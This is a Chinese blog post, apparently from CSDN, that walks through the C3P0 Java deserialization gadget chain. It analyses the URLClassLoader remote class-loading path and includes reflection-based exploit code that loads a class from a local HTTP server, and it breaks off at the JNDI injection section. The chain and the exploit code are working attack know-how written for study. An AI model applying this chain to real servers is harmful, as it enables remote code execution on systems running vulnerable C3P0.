Java反序列化之C3P0链学习

本文深入探讨了Java连接池组件C3P0的反序列化漏洞,包括URLClassLoader的类动态加载、JNDI注入和hexbase攻击利用。详细分析了漏洞利用链路,如URLClassLoader的流程、JNDI注入的条件和hexbase反序列化的步骤。此外,还介绍了如何在不出网的情况下利用C3P0链,涉及EL表达式注入的攻击方式。通过实战代码和调试过程,帮助读者理解并掌握C3P0漏洞的利用技巧。
摘要由CSDN通过智能技术生成

0x01 前言

再多打一点基础吧,后续打算先看一看 XStream,Weblogic,strusts2 这些个

0x02 C3P0 组件介绍

C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有
Hibernate,Spring 等。

JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。

使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC
驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

简单来说,C3P0 属于 jdbc 的一部分,和 Druid 差不多

0x03 C3P0 反序列化漏洞

环境

jdk8u65

pom.xml 如下

< dependency >
< groupId >com.mchange</ groupId >
< artifactId >c3p0</ artifactId >
< version >0.9.5.2</ version >
</ dependency >

C3P0 反序列化三条 Gadgets

• 在去复现链子之前,既然这是一个数据源的组件,那么大概率会存在的漏洞是 URLClassLoader 的类的动态加载,还有 Jndi 注入。

好叭看了其他师傅的文章才知道,C3P0 常见的利用方式有如下三种

• URLClassLoader 远程类加载

• JNDI 注入

• 利用 HEX 序列化字节加载器进行反序列化攻击(第一次见,应该是我少见多怪了

我们还是以漏洞发现者的角度来复现一遍,尝试着能否少看一些其他师傅的文章,较为独立的找到链子。

C3P0 之 URLClassLoader 的链子

C3P0 之 URLClassLoader 流程分析

我们先想一想,既然是 URLClassLoader 的链子,什么场景下会用到 URLClassLoader 的链子呢?

我的第一想法是,获取数据源很可能是通过 URLClassLoader
的,事实证明我的这种想法非常愚蠢,因为获取数据源并不是获取一个类。当然,最终也没找到,不过也是有点收获的。

后面又想到了,可能是 Ref 这种类型的类,于是我又回头找了一下,但是因为 IDEA 未能搜索依赖库内的内容,所以就寄了,直接看了其他师傅的文章。

找到的类是 ReferenceableUtils,当中的 referenceToObject() 方法调用了 URLClassLoader 加载类的方法

最后还有类的加载 ———— instance(),我们的链子尾部就找好了。

继续往上找,应该是去找谁调用了 ReferenceableUtils.referenceToObject()

image.png

ReferenceIndirector 类的 getObject() 方法调用了
ReferenceableUtils.referenceToObject(),继续往上找

image.png

PoolBackedDataSourceBase#readObject() 调用了
ReferenceIndirector#getObject(),同时这也正好是一个入口类。

总结链子流程图如图

image.png

C3P0 之 URLClassLoader EXP 编写

手写一遍 EXP 试试

先写 ReferenceableUtils.referenceToObject() 的 URLClassLoader 的 EXP。
EXP 如下

public class RefToURLClassLoader {
public static void main(String[] args) throws
ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
IllegalAccessException, NamingException, InstantiationException {
Class clazz = Class.forName(“com.mchange.v2.naming.ReferenceableUtils”);
Reference reference = new Reference(“Calc”,
“Calc”,“http://127.0.0.1:9999/”);
Method method = clazz.getDeclaredMethod(“referenceToObject”, Reference.class,
Name.class, Context.class, Hashtable.class);
method.setAccessible( true );
Object o = method.invoke(clazz, reference, null , null , null
);
Object object = method.invoke(o, null , null , null , null
);
}
}

继续往前走,去看一下 PoolBackedDataSourceBase#readObject() 方法

这里的 readObject() 方法想要进到链子的下一步 getObject() 必须要满足一个条件,也就是传入的类必须要是
IndirectlySerialized 这个类。

在进行完这个判断之后

this.connectionPoolDataSource = (ConnectionPoolDataSource) o;

执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了
ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable
接口,所以是无法直接用于代码里面的。

image.png

这个地方有点卡住了,我们不妨去看一下 PoolBackedDataSourceBase#writeObject() 的时候,也就是序列化的时候做了什么

如图,直接包装了一层 indirector.indirectForm()

image.png

我们跟进 indirector.indirectForm() 看一看,当然这个地方的 indirector 实际上就是
com.mchange.v2.naming.ReferenceIndirector,所以语句也可以这么改写

ReferenceIndirector.indirectForm()

经过 ReferenceIndirector.indirectForm() 的 “淬炼”,我们直接看返回值是什么

image.png

这里返回的是 ReferenceSerialized 的一个构造函数,ReferenceSerialized 实际上是一个内部类

image.png

跟进一下继承的接口

image.png

发现它继承了 Serializable 接口,至此,包装的过程分析结束。现在我们拿到的 “ConnectionPoolDataSource” 外表上还是
“ConnectionPoolDataSource”,但是实际上已经变成了 “ReferenceSerialized”
这个类;事后师傅们可以自行打断点调试,这样体会的更深刻一些。

EXP 的编写也较为简单,值得一提的是,这里面有一个 getReference() 方法可以直接 new 一个 Reference 对象。

通过反射修改 connectionPoolDataSource 属性值为我们的恶意 ConnectionPoolDataSource 类

image.png

C3P0 之 JNDI 注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值